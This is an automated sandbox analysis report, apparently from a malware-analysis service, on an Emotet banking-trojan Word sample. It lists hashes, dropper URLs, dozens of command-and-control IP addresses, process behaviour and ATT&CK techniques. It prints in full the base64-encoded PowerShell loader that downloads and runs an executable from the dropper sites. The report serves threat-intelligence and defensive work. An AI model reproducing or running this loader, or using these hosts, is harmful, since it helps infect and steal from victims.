emotet | 8f88dd80520ccf01a78eb649cc1a7918ff8a0c36019a7b5ecf59ae9c79afae7d

General

Target
emotet_e3_8f88dd80520ccf01a78eb649cc1a7918ff8a0c36019a7b5ecf59ae9c79afae7d_2020-08-15__090304._doc.doc
Size 230KB
Sample200815-mymbjtmpns
SHA256 8f88dd80520ccf01a78eb649cc1a7918ff8a0c36019a7b5ecf59ae9c79afae7d
MD5 f438a1ea0ada07b65d404ed2f716c157
SHA1 3cb3a084b06759c96d434aaec19871e3d041a4c6
SHA512 3f987794e40797a5fb06e2d4a90d37c918ffe5c0fc0e77c4ea50fa180a3f4afb1eef97b27e097c76b344b05899a108121c547b9af3b1216ea145cbd896daebcf
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://slotenservice-24-7-actief.nl/crjns/LODRmgim/
exe.dropper
https://zubk.net/wp-content/plugins/gallery-plugin/upload/files/vDXbZpIep/
exe.dropper
http://yourcomputerneeds.net/wp-admin/JXjqdXqT/
exe.dropper
http://lansec.com.br/rkz_wgz_2mw77xw/NxS/
exe.dropper
http://larrysmith.com/old-files/djrowrumw34o8s80545998/

Extracted

Family

emotet

C2

71.57.180.213:80
185.86.148.68:443
168.235.82.183:8080
181.113.229.139:443
181.134.9.162:80
217.199.160.224:8080
105.209.235.113:8080
216.75.37.196:8080
97.104.107.190:80
203.153.216.182:7080
107.161.30.122:8080
41.106.96.12:80
202.5.47.71:80
201.235.10.215:80
105.213.67.88:80
115.79.195.246:80
179.5.118.12:80
212.112.113.235:80
139.59.12.63:8080
177.37.81.212:443
81.17.93.134:80
46.32.229.152:8080
66.61.94.36:80
172.96.190.154:8080
176.9.93.82:7080
5.79.70.250:8080
190.212.140.6:80
37.46.129.215:8080
115.165.3.213:80
201.213.177.139:80
187.64.128.197:80
92.24.51.238:80
185.208.226.142:8080
50.116.78.109:8080
46.105.131.68:8080
181.114.114.203:80
190.190.15.20:80
198.57.203.63:8080
188.251.213.180:443
185.142.236.163:443
182.176.95.147:80
143.95.101.72:8080
181.164.110.7:80
113.161.148.81:80
51.38.201.19:7080
31.146.61.34:80
75.139.38.211:80
157.7.164.178:8081
203.153.216.178:7080
212.156.133.218:80
81.214.253.80:443
87.106.231.60:8080
190.164.75.175:80
77.74.78.80:443
179.62.238.49:80
78.189.60.109:443
177.32.8.85:80
195.201.56.70:8080
190.53.144.120:80
75.127.14.170:8080
177.144.130.105:443
178.33.167.120:8080
192.210.217.94:8080
192.241.220.183:8080
188.0.135.237:80
74.208.173.91:8080
182.187.139.200:8080
172.105.78.244:8080
41.185.29.128:8080
197.83.232.19:80
87.252.100.28:80
115.78.11.155:80
192.163.221.191:8080
91.83.93.103:443
139.99.157.213:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3288	1064	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3628-15-0x0000000002330000-0x000000000233C000-memory.dmp	emotet
behavioral2/memory/3628-15-0x0000000002330000-0x000000000233C000-memory.dmp	emotet
behavioral2/memory/2628-18-0x0000000002290000-0x000000000229C000-memory.dmp	emotet
behavioral2/memory/2628-18-0x0000000002290000-0x000000000229C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
18	3288	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3628	Qrpo.exe
2628	wmiclnt.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\NetSetupShim\wmiclnt.exe	Qrpo.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
512	WINWORD.EXE
512	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3288	powersheLL.exe
3288	powersheLL.exe
3288	powersheLL.exe
2628	wmiclnt.exe
2628	wmiclnt.exe
2628	wmiclnt.exe
2628	wmiclnt.exe
2628	wmiclnt.exe
2628	wmiclnt.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3288	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
3628	Qrpo.exe
3628	Qrpo.exe
2628	wmiclnt.exe
2628	wmiclnt.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3288 wrote to memory of 3628	3288	powersheLL.exe	76
PID 3288 wrote to memory of 3628	3288	powersheLL.exe	76
PID 3288 wrote to memory of 3628	3288	powersheLL.exe	76
PID 3628 wrote to memory of 2628	3628	Qrpo.exe	79
PID 3628 wrote to memory of 2628	3628	Qrpo.exe	79
PID 3628 wrote to memory of 2628	3628	Qrpo.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_8f88dd80520ccf01a78eb649cc1a7918ff8a0c36019a7b5ecf59ae9c79afae7d_2020-08-15__090304._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:512

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABFAHQAeQBlAGEAegA5AD0AJwBZAHgAZQBwAGUAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBJAHQAYABZAGAAUABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAGEAZwBiAHgAZQB6ACAAPQAgACcAUQByAHAAbwAnADsAJABIAHgAbAAzAG0AMgA1AD0AJwBLAHIAMwA2AG4AegAyACcAOwAkAFcAcQA2AGsAOABoADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABZAGEAZwBiAHgAZQB6ACsAJwAuAGUAeABlACcAOwAkAFgAZQBpAGcAcwB6AG4APQAnAEIAcAB4ADYAdwB1AG8AJwA7ACQARgA4ADUAcAA2AGUAOQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAWgBnAHMANABzAHYAdAA9ACcAaAB0AHQAcAA6AC8ALwBzAGwAbwB0AGUAbgBzAGUAcgB2AGkAYwBlAC0AMgA0AC0ANwAtAGEAYwB0AGkAZQBmAC4AbgBsAC8AYwByAGoAbgBzAC8ATABPAEQAUgBtAGcAaQBtAC8AKgBoAHQAdABwAHMAOgAvAC8AegB1AGIAawAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHAAbAB1AGcAaQBuAHMALwBnAGEAbABsAGUAcgB5AC0AcABsAHUAZwBpAG4ALwB1AHAAbABvAGEAZAAvAGYAaQBsAGUAcwAvAHYARABYAGIAWgBwAEkAZQBwAC8AKgBoAHQAdABwADoALwAvAHkAbwB1AHIAYwBvAG0AcAB1AHQAZQByAG4AZQBlAGQAcwAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBYAGoAcQBkAFgAcQBUAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAHMAZQBjAC4AYwBvAG0ALgBiAHIALwByAGsAegBfAHcAZwB6AF8AMgBtAHcANwA3AHgAdwAvAE4AeABTAC8AKgBoAHQAdABwADoALwAvAGwAYQByAHIAeQBzAG0AaQB0AGgALgBjAG8AbQAvAG8AbABkAC0AZgBpAGwAZQBzAC8AZABqAHIAbwB3AHIAdQBtAHcAMwA0AG8AOABzADgAMAA1ADQANQA5ADkAOAAvACcALgAiAFMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBqAGsAdABpADgANAA9ACcAVgBxADMAcQA3AGsAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAGkAOAA1AHYAagAgAGkAbgAgACQAWgBnAHMANABzAHYAdAApAHsAdAByAHkAewAkAEYAOAA1AHAANgBlADkALgAiAGQATwBgAHcAYABOAGwAbwBhAGAAZABGAGkAbABFACIAKAAkAFoAYgBpADgANQB2AGoALAAgACQAVwBxADYAawA4AGgANgApADsAJABKAGUAMQB0AG8AbgA4AD0AJwBHAGIAegA4AGQAXwA3ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVwBxADYAawA4AGgANgApAC4AIgBMAGAARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwA2ADgAOQAxACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAFcAcQA2AGsAOABoADYAKQA7ACQAVABrAGQAcABoAGMAYQA9ACcAWQBtAGMAOAA4AHAANAAnADsAYgByAGUAYQBrADsAJABGAHIAcgA1ADYAeABoAD0AJwBSAGsAaABoADcAZwA2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAbgBlAF8AMABhAGcAPQAnAFMAaABwAGEANgB5AG4AJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3288
- C:\Users\Admin\AppData\Local\Temp\Qrpo.exe
  "C:\Users\Admin\AppData\Local\Temp\Qrpo.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\SysWOW64\NetSetupShim\wmiclnt.exe
    "C:\Windows\SysWOW64\NetSetupShim\wmiclnt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/512-0-0x00007FFEAA570000-0x00007FFEAAC36000-memory.dmp

Download

memory/2628-18-0x0000000002290000-0x000000000229C000-memory.dmp

Download

memory/3288-9-0x00007FFEA20C0000-0x00007FFEA2AAC000-memory.dmp

Download

memory/3288-10-0x000001907F0A0000-0x000001907F0A1000-memory.dmp

Download

memory/3288-11-0x000001907F2A0000-0x000001907F2A1000-memory.dmp

Download

memory/3628-15-0x0000000002330000-0x000000000233C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads